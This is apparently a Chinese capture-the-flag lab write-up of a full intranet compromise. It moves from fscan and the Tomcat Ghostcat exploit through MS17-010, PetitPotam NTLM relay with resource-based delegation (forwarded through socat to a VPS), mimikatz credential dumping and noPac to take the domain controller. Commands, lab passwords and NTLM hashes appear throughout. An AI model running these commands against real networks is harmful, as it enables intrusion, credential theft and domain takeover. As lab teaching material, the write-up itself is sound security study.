信息收集

到手ip直接fscan

image-20250914161425468

image-20250914161436146

8080端口存在web;8009不给访问,上dirsearch扫8080

存在tomcat路由 http://39.98.108.27:8080/docs/

image-20250914164002251

cve-2020-1938

搜索漏洞

image-20250914164026334

poc直接读取web.xml

image-20250914164058778

存在文件上传接口(http://39.98.108.27:8080/UploadServlet)

image-20250914164153226

CNVD-2020-10487

1
python ajpShooter.py http://39.98.108.27:8080 8009 /upload/c953672209c1c9411df8253d5e1344c2/20250914045300403.txt eval

image-20250914165933530

image-20250914165956576

image-20250914170044580

顺手wget venom/fscan

image-20250914182513791

1
2
扫出了.45的ms17-010
扫出了.26的cve-2020-0796

建隧道打172.22.11.45 ms17-010

image-20250915082250994

image-20250914182806819

1
flag{1a528a49-5f65-493e-9713-b3354f003cdb}

打172.22.11.26 CVE-2020-0796

永恒之黑,试了一次,失败了

不成功和内存大小也有关系,Win10的内存一定不要太小,我这里给到8G。

感觉是内存太小了

172.22.11.45抓取哈希

image-20250914210048421

psexec.py、smbexec.py、 wmiexec.py全都因缺乏权限而GG,我们似乎应该转换思路了

172.22.11.45域信息收集

使用BloodHound进行信息收集

1
proxychains bloodhound-python -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -c all -ns 172.22.11.6 --zip --dns-tcp

导入之后啥也看不出来

NetExec信息收集

1
2
# nxc <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M spooler -M printnightmare -M shadowcoerce -M petitpotam
nxc smb 172.22.11.26 -u yangmei -p 'xrihGHgoNZQ' -M coerce_plus -M nopac -M printnightmare -M smbghost -M spooler -M webdav -M zerologon -M Webdav 2>/dev/null

image-20250914224327236

image-20250914224422233

参考出题人博客:https://whoamianony.top/posts/privilege-escalation-ntlmrelay2self-over-http-webdav/#ntlm-relay-over-http-webdav

使用PetitPotam进行NTLM-RELAY+RBCD

即 赋予机器账户获取开了Webdav服务的机器(.26)的GenericAll,使其能打开了Webdav服务的机器的RBCD

1
2
3
4
5
6
7
8
172.22.11.76
ubuntu
172.22.11.6
XIAORANG-DC
172.22.11.45
XR-DESKTOP
172.22.11.26
XR-LCM3AE8B

使用PetitPotam让26访问中继,获取对应的TGT,再利用获取的TGT申请ST,进而对26横向

而中继是起在攻击机上的,换句话来说,26得能直接访问攻击机,在内网的kali显然gg,我们有两个选择:

1
2
1.vps起中继,26直接访问vps
2.26访问那个ubuntu的端口,把Ubuntu的端口转发到kali

还是1方便(偷懒),只是比赛时候得跳一层windows(way2)或者得配kali桥接了

1
2
# 开启ntlmrelayx.py
proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'XR-DESKTOP$' --delegate-access
1
2
# 使用Petitpotam触发 XR-LCM3AE8B 认证到vps
proxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab vps.vps.vps.vps@80/pwn.txt 172.22.11.26

image-20250915082521685

image-20250915082631508

后续测试发现失败,机器不出网,只能转发了

最外层ubuntu运行

1
2
# 转发80到vps80
socat tcp-listen:80,reuseaddr,fork tcp:vps-ip:80

vps运行

1
2
3
4
# 启用ntlmrelayx
proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'XR-DESKTOP$' --delegate-access
# 强制认证
proxychains python3 PetitPotam.py -u yangmei -p xrihGHgoNZQ -d xiaorang.lab ubuntu@80/webdav 172.22.11.26

接下来xr-desktop$有了GenericAll 或 WriteDacl就是通过基于资源的约束委派获取ST票据,然后注入内存、psexec来获取交互式shell

1
2
# 用之前172.22.11.45上抓的机器账户XR-DESKTOP$哈希打172.22.11.26的RBCD,申请ST票据
proxychains python3 getST.py -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :9ad459438c4463cdbbba0488323a4e98 xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6

image-20250915082824068

导入票据

1
export KRB5CCNAME=administrator.ccache

进行psexec无密码连接

1
proxychains python3 psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk

image-20250915082913377

1
flag{ad2b2c7f-22c8-4e8d-9755-34e1aafd7ace}

172.22.11.26域信息收集

smbclient.py 传猕猴桃

1
2
3
4
proxychains python3 smbclient.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26
use C$
cd \windows\temp
put /root/tool/mimikatz.exe

猕猴桃抓取密码

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

出现新用户zhanghui 的ntlm

再次使用ncx扫出了nopac(这部分来不及了,没截图)

他在MA_Admin组,对computer能够创建对象,能向域中添加机器账户,所以能打noPac

Nopac拿下域控

1
proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes :1232126b24cdf8c9bd2f788a9d7c7ed1 -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell

image-20250915083005361

1
flag{bf9d27d3-57ed-4acb-b6e0-7b77a38a6ba8}